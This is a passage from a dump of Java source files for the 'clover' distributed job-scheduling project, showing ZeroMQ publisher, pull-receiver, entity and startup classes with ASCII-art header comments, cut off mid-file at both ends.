(IOException e) {\r\n                    if (logger.isDebugEnabled()) e.printStackTrace();\r\n                    System.err.println(\"SyncSendMsg-->>send(String ip,String port,String msg) socket.close() error,\" + e.getMessage());\r\n                    logger.error(\"SyncSendMsg-->>send(String ip,String port,String msg) socket.close() error,\" + e.getMessage());\r\n                }\r\n            }\r\n        }\r\n    }\r\n\r\n    public static void sendWithThreadPool(String ip, String port, String msg) {\r\n        try {\r\n            if (null == pool) {\r\n                pool = new ThreadPoolExecutor(CommonConstants.POOL_SIZE, CommonConstants.POOL_SIZE, 60L,\r\n                        TimeUnit.SECONDS, new LinkedBlockingQueue<Runnable>());\r\n            }\r\n           // pool.execute(new Thread(new HandlerAsyncSendMsg(ip, port, msg)));\r\n        } catch (Exception e) {\r\n            if (logger.isDebugEnabled()) e.printStackTrace();\r\n            System.err.println(\"SyncSendMsg-->>sendWithThreadPool(String ip,String port,String msg) error,\" + e.getMessage());\r\n            logger.error(\"SyncSendMsg-->>sendWithThreadPool(String ip,String port,String msg) error,\" + e.getMessage());\r\n        }\r\n    }\r\n    public static void sendWithClientThreadPool(String ip, String port, String msg) {\r\n        try {\r\n            if (null == pool) {\r\n                pool = new ThreadPoolExecutor(POOL_SIZE, POOL_SIZE, 60L,\r\n                        TimeUnit.SECONDS, new LinkedBlockingQueue<Runnable>());\r\n            }\r\n           // pool.execute(new Thread(new HandlerAsyncSendMsg(ip, port, msg)));\r\n        } catch (Exception e) {\r\n            if (logger.isDebugEnabled()) e.printStackTrace();\r\n            System.err.println(\"SyncSendMsg----------->>sendWithClientThreadPool(String ip,String port,String msg) error,\" + e.getMessage());\r\n            logger.error(\"SyncSendMsg-->>sendWithClientThreadPool(String ip,String port,String msg) error,\" + e.getMessage());\r\n        }\r\n    }\r\n\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/zeromq/AsyncStartZeroMQ.java",
    "content": "package com.gome.clover.common.zeromq;\r\n\r\nimport com.gome.clover.common.mongodb.BuildMongoDBData;\r\nimport com.gome.clover.common.mongodb.DBTableInfo;\r\nimport com.gome.clover.common.mongodb.MongoDBUtil;\r\nimport com.gome.clover.common.tools.CommonConstants;\r\nimport com.gome.clover.common.tools.IpUtil;\r\nimport org.slf4j.Logger;\r\nimport org.slf4j.LoggerFactory;\r\n\r\nimport java.util.concurrent.TimeUnit;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:ASync Start Zero MQ\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/29\r\n * Time: 21:23\r\n */\r\npublic class AsyncStartZeroMQ implements Runnable {\r\n    private static  final Logger logger = LoggerFactory.getLogger(ZeroMQPub.class);\r\n    private String port;\r\n    public AsyncStartZeroMQ(String port){\r\n        this.port = port;\r\n    }\r\n    public static void startup(String port){\r\n        new Thread(new AsyncStartZeroMQ(port)).start();\r\n    }\r\n    @Override\r\n    public void run() {\r\n        try {\r\n            Thread.sleep(CommonConstants.ZMQ_SLEEP_CLIENT_MILLIS);\r\n            String addr = \"tcp://\"+ IpUtil.getLocalIP()+\":\" + port;\r\n            ZeroMQPull.INSTANCE.recv(addr);\r\n        } catch (InterruptedException e) {\r\n            logger.error(\"SyncStartZeroMQ-->>run() error\",e);\r\n            String execMethod = \"ModuleSchedulerServer-->>run()\";\r\n            String execResult = \"ModuleSchedulerServer-->>run() error ,\" + e.getMessage();\r\n            MongoDBUtil.INSTANCE.insert(BuildMongoDBData.getInsertLogBasicDBObject(\"\",\r\n                    execMethod, execResult), DBTableInfo.TBL_CLOVER_LOG);\r\n        }\r\n    }\r\n\r\n    public static void  main(String args[]){\r\n        AsyncStartZeroMQ.startup(CommonConstants.ZMQ_SERVER_PORT);\r\n        System.err.println(\"SyncStartZeroMQ\");\r\n        try {\r\n            TimeUnit.SECONDS.sleep(1000L);\r\n        } catch (InterruptedException e) {\r\n            e.printStackTrace();\r\n        }\r\n        ZeroMQPull.INSTANCE.stop();\r\n        System.err.println(\"stop finish....\");\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/zeromq/AsyncZMQPull.java",
    "content": "package com.gome.clover.common.zeromq;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:clover\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/12/25\r\n * Time: 20:55\r\n */\r\npublic class AsyncZMQPull {\r\n  /*  protected ModuleZeromq mq;\r\n    protected ZMQ.Socket jobSocket = null;\r\n    protected ZMQ.Socket socketPullBroadcast = null;\r\n    private boolean alive = true;\r\n    private int index = 0;\r\n    private long jobCount = 0L;\r\n    private Thread t = null;\r\n    protected static boolean debugThread = false;\r\n    protected static Logger logger = LoggerFactory.getLogger(SyncZMQPull.class);\r\n\r\n    public SyncZMQPull(ModuleZeromq mq, int index) {\r\n        this.mq = mq;\r\n        this.index = index;\r\n    }\r\n\r\n    public void attach(Thread t) {\r\n        this.t = t;\r\n    }\r\n\r\n    private ZMsg packClientMsg(ModuleZeromq.MessageSource source, String clientAddr, MessageVersion version, byte[] msgTag, String content) {\r\n        byte[] bytes = StringUtil.toBytes(content);\r\n        return packClientMsg(source, clientAddr, version, msgTag, bytes);\r\n    }\r\n\r\n    private ZMsg packClientMsg(ModuleZeromq.MessageSource source, String clientAddr, MessageVersion version, byte[] msgTag, byte[] bytes) {\r\n        ZMsg msg = new ZMsg();\r\n        msg.addFirst(String.valueOf(source.ordinal()));\r\n        msg.add(clientAddr);\r\n        msg.add(ZeromqUtil.EMPTY);\r\n        msg.add(msgTag);\r\n        CompressMode compress = null;\r\n        byte[] compressed = bytes;\r\n        if (bytes.length > 1024) {\r\n            compress = CompressMode.SNAPPY;\r\n            compressed = StringUtil.compress(bytes);\r\n        }\r\n        if (compressed == bytes) {\r\n            compress = CompressMode.NONE;\r\n        }\r\n        msg.add(compress.getData());\r\n        msg.add(compressed);\r\n        return msg;\r\n    }\r\n\r\n    private ZMsg packRouterMsg(Device device, ServiceName service, MessageScope scope, MessageType type, MessageVersion version, String msgId, String msgTag, String msgTo, long timestamp, byte[] bytes, String address)\r\n    {\r\n        ZMsg msg = new ZMsg();\r\n        msg.add(String.valueOf(ModuleZeromq.MessageSource.fromRouter.ordinal()));\r\n        msg.add(ZeromqUtil.EMPTY);\r\n        msg.add(device.getData());\r\n        msg.add(service.getData());\r\n        msg.add(String.valueOf(service.ordinal()));\r\n        msg.add(scope.getData());\r\n        msg.add(type.getData());\r\n        msg.add(version.getData());\r\n        msg.add(ZeromqUtil.getBytes(msgId));\r\n        msg.add(ZeromqUtil.getBytes(msgTag));\r\n        msg.add(ZeromqUtil.getBytes(msgTo));\r\n        msg.add(String.valueOf(timestamp));\r\n        CompressMode compress = null;\r\n        byte[] compressed = bytes;\r\n        if (bytes.length > 1024) {\r\n            compress = CompressMode.SNAPPY;\r\n            compressed = StringUtil.compress(bytes);\r\n        }\r\n        if (compressed == bytes) {\r\n            compress = CompressMode.NONE;\r\n        }\r\n        msg.add(compress.getData());\r\n        msg.add(compressed);\r\n        msg.add(StringUtil.toBytes(address));\r\n        return msg;\r\n    }\r\n\r\n    protected void changeRouter(String clientAddr, MessageVersion version, byte[] msgTag, String content) {\r\n        packRouterMsg(Device.SERVER, ServiceName.Server, MessageScope.ROUTER, MessageType.DISCONNECT, MessageVersion.MQ, this.mq.getId(), \"change\", \"TO\", System.currentTimeMillis(), ZeromqUtil.EMPTY,\r\n                this.mq.getId());\r\n        sendJob(packRouterMsg(Device.SERVER, ServiceName.Server, MessageScope.ROUTER, MessageType.DISCONNECT, MessageVersion.MQ, \"ID\", msgTag.toString(), \"TO\", System.currentTimeMillis(),\r\n                ZeromqUtil.EMPTY, this.mq.getId()));\r\n        this.mq.stop();\r\n        this.mq.routerNode = ServerDict.self.routerBy(content);\r\n        this.mq.start(true);\r\n        ModuleIntf subscribe = ModuleFactory.moduleInstanceBy(\"subscribe\");\r\n        subscribe.stop();\r\n        subscribe.start(true);\r\n        byte[] bytes = StringUtil.toBytes(\"{state:\" + this.mq.isAlive() + \"}\");\r\n        sendJob(packClientMsg(ModuleZeromq.MessageSource.fromApp, clientAddr, version, msgTag, bytes));\r\n    }\r\n\r\n    protected void switchTo(boolean online, String sender, MessageVersion version, ZFrame msgTag) {\r\n        boolean exist = ZooUtil.exists(ServerDict.self.zoo(), \"/appservers/\" + this.mq.getId());\r\n        String name = online ? \"online\" : \"offline\";\r\n        if (exist != online) {\r\n            if (online) {\r\n                this.mq.restart();\r\n                sendJob(packClientMsg(ModuleZeromq.MessageSource.fromApp, sender, version, msgTag.getData(), \"{\\\"\" + name + \"\\\":true}\"));\r\n            } else {\r\n                sendJob(packRouterMsg(Device.SERVER, ServiceName.Server, MessageScope.ROUTER, MessageType.DISCONNECT, MessageVersion.MQ, \"ID\", msgTag.toString(), \"TO\", System.currentTimeMillis(),\r\n                        ZeromqUtil.EMPTY, this.mq.getId()));\r\n                sendJob(packClientMsg(ModuleZeromq.MessageSource.fromApp, sender, version, msgTag.getData(), \"{\\\"\" + name + \"\\\":true}\"));\r\n                this.mq.serverNode.removeField(\"routerId\");\r\n                ZooUtil.delete(ServerDict.self.zoo(), \"/appservers/\" + this.mq.getId());\r\n            }\r\n        }\r\n        logger.info(\"AppServer  [{}] is [{}]  at  ServerIP={} & Port={} & PublisherPort={}\", new Object[] { this.mq.getId(), name, this.mq.serverNode.getString(\"ip\"), Integer.valueOf(Global.MQRouterPort),\r\n                Integer.valueOf(Global.MQRouterPublishPort) });\r\n    }\r\n\r\n    public void sendJob(ZMsg msg) {\r\n        ZeroSocket oSocket = null;\r\n        String uri = \"inproc://jobs-app\";\r\n        try {\r\n            oSocket = ZeroSocketFactory.get(uri, this.mq.ctx, 5);\r\n            if ((oSocket == null) || (!oSocket.isAlive)) {\r\n                return;\r\n            }\r\n            msg.send(oSocket.socket);\r\n        } catch (Exception e) {\r\n            oSocket.isAlive = false;\r\n            logger.error(\"sendJob\", e);\r\n        } finally {\r\n            ZeromqUtil.free(msg);\r\n            ZeroSocketFactory.ret(uri, oSocket);\r\n        }\r\n    }\r\n\r\n    public void sendSocketEvent(String senderId, Object oResult) {\r\n        SocketEvent event = this.mq.event.removeSocket(senderId);\r\n        if ((event == null) || (oResult == null)) {\r\n            return;\r\n        }\r\n        if ((oResult instanceof String))\r\n            event.onMessage(Global.SocketDataType.string, oResult);\r\n        else if ((oResult instanceof BasicDBObject))\r\n            event.onMessage(Global.SocketDataType.json, oResult);\r\n    }\r\n\r\n    private void createSocket()\r\n    {\r\n        this.jobSocket = this.mq.ctx.createSocket(7);\r\n        this.jobSocket.setIdentity(StringUtil.toBytes(\"jobs-push@\" + this.index));\r\n        this.jobSocket.connect(\"inproc://jobs-push\");\r\n\r\n        this.socketPullBroadcast = this.mq.ctx.createSocket(7);\r\n        this.socketPullBroadcast.setIdentity(StringUtil.toBytes(\"broadcast-pull@\" + this.index));\r\n        this.socketPullBroadcast.connect(\"inproc://broadcast-app-push\");\r\n    }\r\n\r\n    public void run()\r\n    {\r\n        createSocket();\r\n        ZMQ.Poller poller = new ZMQ.Poller(2);\r\n        poller.register(this.jobSocket, 1);\r\n        poller.register(this.socketPullBroadcast, 1);\r\n\r\n        while ((this.alive) && (!this.t.isInterrupted())) {\r\n            ZMsg msg = null;\r\n            if (poller.poll(3000L) < 1) {\r\n                continue;\r\n            }\r\n            if (poller.pollin(0))\r\n                msg = ZMsg.recvMsg(this.jobSocket);\r\n            else if (poller.pollin(1)) {\r\n                msg = ZMsg.recvMsg(this.socketPullBroadcast);\r\n            }\r\n            ZFrame c = msg.pop();\r\n            ModuleZeromq.MessageSource messageFrom = ModuleZeromq.MessageSource.values()[Integer.parseInt(c.toString())];\r\n            c.destroy();\r\n            ZFrame sender = msg.pop();\r\n            ZFrame empty = msg.pop();\r\n            ZFrame device = msg.pop();\r\n            ZFrame serviceName = msg.pop();\r\n            ZFrame serviceIndex = msg.pop();\r\n            ZFrame scope = msg.pop();\r\n            ZFrame messageType = msg.pop();\r\n            ZFrame messageVersion = msg.pop();\r\n            MessageVersion version = MessageVersion.values()[Integer.parseInt(messageVersion.toString())];\r\n            ZFrame messageId = msg.pop();\r\n            ZFrame messageTag = msg.pop();\r\n            ZFrame messageTo = msg.pop();\r\n            ZFrame timestamp = msg.pop();\r\n            ZFrame compress = msg.pop();\r\n\r\n            String content = null;\r\n            String msgTag = messageTag.toString();\r\n            try {\r\n                c = msg.pop();\r\n                byte[] bytes = c.getData();\r\n                c.destroy();\r\n                if (Integer.parseInt(compress.toString()) == CompressMode.SNAPPY.ordinal()) {\r\n                    bytes = StringUtil.uncompress(bytes);\r\n                }\r\n                content = StringUtil.toString(bytes);\r\n                ServiceName service = ServiceName.values()[Integer.parseInt(serviceIndex.toString())];\r\n                MessageType msgType = MessageType.values()[Integer.parseInt(messageType.toString())];\r\n                switch (service) {\r\n                    case Activity:\r\n                        switch ($SWITCH_TABLE$org$x$cloud$dict$MessageType()[msgType.ordinal()]) {\r\n                            case 2:\r\n                                if (StringUtil.isEmpty(content)) break;\r\n                                this.mq.registerServer(content);\r\n\r\n                                break;\r\n                            case 15:\r\n                                switchTo(false, sender.toString(), version, messageTag);\r\n                                break;\r\n                            case 14:\r\n                                switchTo(true, sender.toString(), version, messageTag);\r\n                                break;\r\n                            case 5:\r\n                                if (msgTag.equalsIgnoreCase(\"runtime\")) {\r\n                                    content = JVMUtil.readRuntime().append(\"jobCount\", Long.valueOf(this.jobCount)).toString();\r\n                                }\r\n                                sendJob(packClientMsg(ModuleZeromq.MessageSource.fromApp, sender.toString(), version, messageTag.getData(), content));\r\n                                break;\r\n                            case 9:\r\n                                sendJob(packClientMsg(ModuleZeromq.MessageSource.fromSelf, sender.toString(), version, messageTag.getData(), content));\r\n                        }\r\n\r\n                        break;\r\n                    default:\r\n                        BasicDBObject oResult = new BasicDBObject().append(\"server\", this.mq.getId());\r\n                        ZFrame jobNo = msg.pop();\r\n                        this.jobCount = Long.parseLong(jobNo.toString());\r\n                        oResult.append(\"@job\", Long.valueOf(this.jobCount));\r\n                        jobNo.destroy();\r\n                        oResult.append(\"@from\", messageFrom.name()).append(\"@thread\", Integer.valueOf(this.index));\r\n                        MessageScope msgScope = MessageScope.values()[Integer.parseInt(scope.toString())];\r\n                        DBObject oReq = (DBObject)JSON.parse(content);\r\n                        try {\r\n                            DBObject oResponse = ModuleFactory.processor().execute(this.jobCount, sender.toString(), Integer.parseInt(device.toString()), Integer.parseInt(serviceIndex.toString()), msgScope,\r\n                                    Integer.parseInt(messageType.toString()), Integer.parseInt(messageVersion.toString()), messageId.toString(), messageTag.toString(), messageTo.toString(),\r\n                                    Long.parseLong(timestamp.toString()), oReq);\r\n                            oResult.append(\"response\", oResponse);\r\n                            oResult.append(\"state\", Boolean.valueOf(true));\r\n                        } catch (Exception e) {\r\n                            oResult.append(\"state\", Boolean.valueOf(false));\r\n                            oResult.append(\"message\", e.getMessage());\r\n                            logger.error(\"ModuleFactory.processor().execute\" + StringUtil.stringifyException(e));\r\n                        }\r\n\r\n                        oResult.append(\"@time\", Long.valueOf(System.currentTimeMillis() - Long.parseLong(timestamp.toString())));\r\n                        switch (messageFrom) {\r\n                            case fromApp:\r\n                                sendJob(packRouterMsg(Device.values()[Integer.parseInt(device.toString())], ServiceName.Server, msgScope, MessageType.REPLY, version, messageId.toString(),\r\n                                        messageTag.toString(), messageTo.toString(), Long.parseLong(timestamp.toString()), StringUtil.toBytes(oResult.toString()), sender.toString()));\r\n                                break;\r\n                            case fromRouter:\r\n                                sendJob(packClientMsg(ModuleZeromq.MessageSource.fromApp, sender.toString(), version, messageTag.getData(), oResult.toString()));\r\n                                break;\r\n                            case fromSelf:\r\n                                sendSocketEvent(sender.toString(), oResult);\r\n                        }\r\n                }\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                logger.error(\"JobPull[\" + messageType.toString() + \"&\" + serviceName.toString() + \"&\" + content + \"]\" + StringUtil.stringifyException(e));\r\n            }\r\n            ZeromqUtil.free(empty);\r\n            sender.destroy();\r\n            device.destroy();\r\n            serviceName.destroy();\r\n            serviceIndex.destroy();\r\n            scope.destroy();\r\n            messageType.destroy();\r\n            messageVersion.destroy();\r\n            messageTag.destroy();\r\n            timestamp.destroy();\r\n            compress.destroy();\r\n            msg.destroy();\r\n        }\r\n        stop();\r\n    }\r\n\r\n    public void stop() {\r\n        this.alive = false;\r\n        try {\r\n            this.t.join();\r\n            if (this.jobSocket == null) {\r\n                return;\r\n            }\r\n            this.mq.ctx.destroySocket(this.jobSocket);\r\n        } catch (Exception e) {\r\n            logger.error(\"stop\", e);\r\n        }\r\n    }*/\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/zeromq/ZeroMQEntity.java",
    "content": "package com.gome.clover.common.zeromq;\r\n\r\nimport com.gome.clover.common.netty.client.SubReqClientHandel;\r\nimport org.slf4j.Logger;\r\nimport org.slf4j.LoggerFactory;\r\n\r\nimport java.io.Serializable;\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:Zero Zero MQ Entity\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/21\r\n * Time: 14:27\r\n */\r\n\r\n\r\npublic class ZeroMQEntity  implements Serializable {\r\n    private static final Logger logger = LoggerFactory.getLogger(ZeroMQEntity.class);\r\n    /**\r\n     * 执行任务类型(server|client)\r\n     */\r\n    private String destServer;\r\n\r\n    /**\r\n     *  执行机器IP地址\r\n     */\r\n    private String destIp;\r\n\r\n    /**\r\n     * Job 信息 Base64 encode字符串\r\n     */\r\n    private String jobInfo;\r\n\r\n    /**\r\n     *  msg\r\n     */\r\n    private String msg;\r\n\r\n    public ZeroMQEntity() {}\r\n\r\n    public ZeroMQEntity(String destServer, String destIp, String jobInfo) {\r\n        this.destServer = destServer;\r\n        this.destIp = destIp;\r\n        this.jobInfo = jobInfo;\r\n        logger.error(\"ZeroMQEntity.length()\"+jobInfo.length());\r\n    }\r\n    public ZeroMQEntity(String destServer, String destIp, String jobInfo, String msg) {\r\n        this.destServer = destServer;\r\n        this.destIp = destIp;\r\n        this.jobInfo = jobInfo;\r\n        this.msg = msg;\r\n    }\r\n\r\n    public String getDestServer() {\r\n        return destServer;\r\n    }\r\n\r\n    public void setDestServer(String destServer) {\r\n        this.destServer = destServer;\r\n    }\r\n\r\n    public String getJobInfo() {\r\n        return jobInfo;\r\n    }\r\n\r\n    public void setJobInfo(String jobInfo) {\r\n        this.jobInfo = jobInfo;\r\n    }\r\n\r\n    public String getDestIp() {\r\n        return destIp;\r\n    }\r\n\r\n    public void setDestIp(String destIp) {\r\n        this.destIp = destIp;\r\n    }\r\n\r\n    public String getMsg() {\r\n        return msg;\r\n    }\r\n\r\n    public void setMsg(String msg) {\r\n        this.msg = msg;\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/zeromq/ZeroMQPub.java",
    "content": "package com.gome.clover.common.zeromq;\r\n\r\nimport com.gome.clover.common.tools.CommonConstants;\r\nimport com.gome.clover.common.tools.DateUtil;\r\nimport org.slf4j.Logger;\r\nimport org.slf4j.LoggerFactory;\r\nimport org.zeromq.ZMQ;\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:Publisher\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/21\r\n * Time: 14:27\r\n */\r\n\r\npublic enum  ZeroMQPub {\r\n    INSTANCE;\r\n    private static  final Logger logger = LoggerFactory.getLogger(ZeroMQPub.class);\r\n    public boolean send(String addr,String msg,String topic){\r\n        try{\r\n            ZMQ.Context context = ZMQ.context(1);  //创创建包含一个I/O线程的context\r\n            ZMQ.Socket publisher = context.socket(ZMQ.PUB);   //创建一个publisher类型的socket，他可以向所有订阅的subscriber广播数据\r\n            publisher.bind(addr);  //将当前publisher绑定到5555端口上，可以接受subscriber的订阅\r\n            //publisher.subscribe(topic.getBytes());\r\n            String newMsg = topic.getBytes()+\" \"+msg;\r\n            publisher.send(newMsg.getBytes(),ZMQ.NOBLOCK);\r\n            publisher.close();\r\n            context.term();\r\n            return true;\r\n        }catch (Exception e){\r\n            logger.error(\"ZeroMQPub-->>send(\"+addr+\",\"+msg+\",\"+topic+\")\");\r\n            return false;\r\n        }\r\n    }\r\n    public static void main(String args[]) {\r\n        String addr=\"tcp://*:\"+ CommonConstants.ZMQ_SERVER_PORT;\r\n\r\n        String topic=CommonConstants.TOPIC_CLOVER_CLIENT+\"@\"/*+IpUtil.getLocalIP()*/;\r\n       while (true){\r\n           ZeroMQPub.INSTANCE.send(addr, DateUtil.currentDateTime(),topic);\r\n       }\r\n    }\r\n}"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/zeromq/ZeroMQPull.java",
    "content": "package com.gome.clover.common.zeromq;\r\n\r\nimport com.alibaba.fastjson.JSON;\r\nimport com.gome.clover.common.compress.CompressUtil;\r\nimport com.gome.clover.common.mongodb.BuildMongoDBData;\r\nimport com.gome.clover.common.mongodb.DBTableInfo;\r\nimport com.gome.clover.common.mongodb.MongoDBUtil;\r\nimport com.gome.clover.common.tools.*;\r\nimport com.gome.clover.core.job.ClientJob;\r\nimport com.gome.clover.core.job.ClientJobBuilder;\r\nimport com.gome.clover.core.job.ServerJob;\r\nimport com.gome.clover.core.module.ModuleSchedulerClient;\r\nimport com.gome.clover.core.module.ModuleSchedulerServer;\r\nimport com.gome.clover.core.scheduler.MyScheduler;\r\nimport com.mongodb.BasicDBObject;\r\nimport com.mongodb.DBCollection;\r\nimport com.mongodb.DBCursor;\r\nimport com.mongodb.DBObject;\r\nimport org.apache.commons.codec.binary.Base64;\r\nimport org.quartz.Job;\r\nimport org.quartz.JobKey;\r\nimport org.quartz.Scheduler;\r\nimport org.quartz.TriggerBuilder;\r\nimport org.quartz.impl.StdSchedulerFactory;\r\nimport org.zeromq.ZMQ;\r\nimport static org.quartz.JobBuilder.*;\r\nimport static org.quartz.TriggerBuilder.*;\r\nimport static org.quartz.SimpleScheduleBuilder.*;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:ZeroMQ Pull\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/21\r\n * Time: 14:27\r\n */\r\n\r\npublic enum ZeroMQPull {\r\n    INSTANCE;\r\n    private static ZMQ.Context context;\r\n    private static ZMQ.Socket pull;\r\n    private static boolean isStop = false;\r\n\r\n    public void recv(String addr) {\r\n        context = ZMQ.context(1);\r\n        pull = context.socket(ZMQ.PULL);\r\n        pull.bind(addr);\r\n        System.err.println(\"ZeroMQPull-->> recv(\" + addr + \") init.....\");\r\n        while (!isStop) {\r\n            try {\r\n                String msg = new String(CompressUtil.uncompress(pull.recv()));\r\n                //System.err.println(\"ZeroMQPull-->>recv(\" + addr + \")\" + msg);\r\n                if (!StringUtil.isEmpty(msg)) {\r\n                    ZeroMQEntity zeroMQEntity = JSON.parseObject(msg, ZeroMQEntity.class);\r\n                    if (IpUtil.getLocalIP().equals(zeroMQEntity.getDestIp())) {\r\n                        if (CommonConstants.MODULE_TYPE_SERVER.equals(zeroMQEntity.getDestServer())) {\r\n                            System.err.println(\"--------------MODULE_TYPE_SERVER--------------\");\r\n                            ServerJob serverJob = (ServerJob) ClassUtil.BytesToObject(Base64.decodeBase64(zeroMQEntity.getJobInfo()));\r\n                            ModuleSchedulerServer server = ModuleSchedulerServer.getInstance();\r\n                            server.handlerJob(serverJob);\r\n                        } else if (CommonConstants.MODULE_TYPE_CLIENT.equals(zeroMQEntity.getDestServer())) {\r\n                            System.err.println(\"--------------MODULE_TYPE_CLIENT--------------\");\r\n                            ServerJob serverJob = (ServerJob) ClassUtil.BytesToObject(Base64.decodeBase64(zeroMQEntity.getJobInfo()));\r\n                            ModuleSchedulerClient client = ModuleSchedulerClient.getInstance();\r\n                            ClientJob clientJob = (ClientJob) ClassUtil.BytesToObject(Base64.decodeBase64(\r\n                                    (String) serverJob.getJobDetail().getJobDataMap().get(CommonConstants.CLIENT_JOB_INFO)));\r\n                            resetClientJobTriggerAndJobType(clientJob);\r\n                            client.handlerJob(clientJob);\r\n                        } else if (CommonConstants.MODULE_TYPE_SERVER_WITH_ADMIN.equals(zeroMQEntity.getDestServer())) {\r\n                            String mqMsg = zeroMQEntity.getMsg();\r\n                            if (!StringUtil.isEmpty(mqMsg)) {\r\n                                System.err.println(\"--------------MODULE_TYPE_SERVER_WITH_ADMIN--------------\");\r\n                                BasicDBObject basicDBObject = (BasicDBObject) com.mongodb.util.JSON.parse(mqMsg);\r\n                                String jobGroup = (String) basicDBObject.get(\"jobGroup\");\r\n                                String jobName = (String) basicDBObject.get(\"jobName\");\r\n                                Scheduler scheduler = new StdSchedulerFactory().getScheduler();\r\n                                JobKey jobKey = new JobKey(jobName, jobGroup);\r\n                                if (scheduler.checkExists(jobKey)) {\r\n                                    scheduler.deleteJob(jobKey);\r\n                                }\r\n                            }\r\n                        } else if (CommonConstants.MODULE_TYPE_CLIENT_WITH_ADMIN.equals(zeroMQEntity.getDestServer())) {\r\n                            String mqMsg = zeroMQEntity.getMsg();\r\n                            if (!StringUtil.isEmpty(mqMsg)) {\r\n                                System.err.println(\"--------------MODULE_TYPE_CLIENT_WITH_ADMIN--------------\");\r\n                                BasicDBObject basicDBObject = (BasicDBObject) com.mongodb.util.JSON.parse(mqMsg);\r\n                                String jobGroup = (String) basicDBObject.get(\"jobGroup\");\r\n                                String jobName = (String) 